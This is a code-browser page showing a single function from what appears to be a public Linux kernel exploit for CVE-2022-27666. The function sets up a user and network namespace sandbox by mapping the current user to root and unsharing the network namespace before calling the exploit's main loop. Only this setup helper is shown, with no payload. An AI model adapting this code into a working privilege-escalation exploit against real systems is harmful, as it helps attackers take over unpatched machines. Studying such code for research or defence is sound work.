MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / namespace_sandbox_proc

Function namespace_sandbox_proc

CVE-2022-27666/exploit/exploit.c:1125–1139  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

1123__attribute__((aligned(64 << 10))) static char sandbox_stack[1 << 20];
1124
1125static int namespace_sandbox_proc(void* arg)
1126{
1127 write_file("/proc/self/setgroups", "deny");
1128 if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid))
1129 exit(1);
1130 if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid))
1131 exit(1);
1132 initialize_netdevices_init();
1133 if (unshare(CLONE_NEWNET))
1134 exit(1);
1135 initialize_netdevices();
1136
1137 loop();
1138 exit(1);
1139}
1140
1141static int do_sandbox_namespace(void)
1142{

Callers

nothing calls this directly

Calls 4

initialize_netdevicesFunction · 0.85
write_fileFunction · 0.70
loopFunction · 0.70

Tested by

no test coverage detected